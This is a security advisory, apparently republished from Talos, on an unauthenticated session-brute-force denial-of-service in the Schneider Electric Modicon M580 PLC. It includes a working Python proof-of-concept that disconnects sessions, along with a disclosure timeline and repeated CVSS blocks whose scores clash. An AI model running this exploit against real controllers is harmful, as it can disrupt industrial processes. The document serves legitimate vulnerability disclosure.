Lucene search

K
talosTalos IntelligenceTALOS-2018-0735
HistoryJun 10, 2019 - 12:00 a.m.

Schneider Electric Modicon M580 UMAS release reservation denial-of-service vulnerability

2019-06-1000:00:00
Talos Intelligence
www.talosintelligence.com
209

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.004 Low

EPSS

Percentile

74.3%

Summary

An exploitable denial-of-service vulnerability exists in the UMAS Release PLC Reservation function of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to invalidate a session without verifying the authenticity of the sender, resulting in the disconnection of legitimate devices. An attacker can send unauthenticated commands to trigger this vulnerability.

Tested Versions

Schneider Electric Modicon M580 BMEP582040 SV2.70

Product URLs

<https://www.schneider-electric.com/en/work/campaign/m580-epac/&gt;

CVSSv3 Score

5.3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CWE

CWE-501: Trust Boundary Violation

Details

The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as β€œUMAS.”

During normal operation, the Modicon M580 uses a pair of UMAS requests, TAKE_PLC_RESERVATION and RELEASE_PLC_RESERVATION, to determine which users are allowed to execute privileged commands. When one user has successfully obtained a reservation, no other user is able to execute commands that fall into certain categories. Commands such as UPLOAD_BLOCK, which writes new strategy blocks to the device, or RELEASE_PLC_RESERVATION, which disconnects the current session, require this type of privilege.

When an existing elevated session is established, most commonly encountered via UnityPro, it is possible to brute force the session ID and send privileged commands under the context of the legitimate user. Session tokens are one byte large, creating only 256 possible values. By looping through each possible value wrapped in a RELEASE_PLC_RESERVATION command, it is possible to disconnect any user that is using an elevated session.

The structure of a RELEASE_PLC_RESERVATION command takes a form similar to the following:

    0   1   2   3   4   5   6   7   8   9   a   b   c   d   e   f
  +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | 
  +---+---+---+

A --&gt; Modbus Function Code (0x5A)
B --&gt; Session
C --&gt; UMAS Function Code   (0x11)

Once the session is disconnected, a number of possible scenarios can play out. The device could enter a fault state if a strategy download is being conducted at the time. If an HMI is disconnected, attempts to control the device could be prevented.

Exploit Proof of Concept

import struct
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse

def send_message(sock, umas, data=None, wait_for_response=True):
	if data == None:
		packet = ModbusADURequest(transId=1)/umas
	else:
		packet = ModbusADURequest(transId=1)/umas/data
	msg = "%s" % Raw(packet)
	resp = ""
	sock.send(msg)
	if wait_for_response:
		resp = sock.recv(2048)
	return resp

def main():
	rhost = "192.168.10.1"
	rport = 502

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((rhost, rport))

	for session in xrange(0x100):
		# RELEASE_RESERVATION
		mbtcp_fnc = "\x5a"
		conv_session = struct.pack("B", session)
		umas_fnc = "\x11"
		umas = "%s%s%s" % (mbtcp_fnc, conv_session, umas_fnc)
		send_message(sock=s, umas=umas)
		

if __name__ == '__main__':
	main()

Timeline

2018-12-10 - Initial contact
2018-12-17 - Vendor acknowledged
2019-01-01 - 30 day follow up
2019-05-14 - Vendor Patched
2019-06-10 - Public Release

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.004 Low

EPSS

Percentile

74.3%

Related for TALOS-2018-0735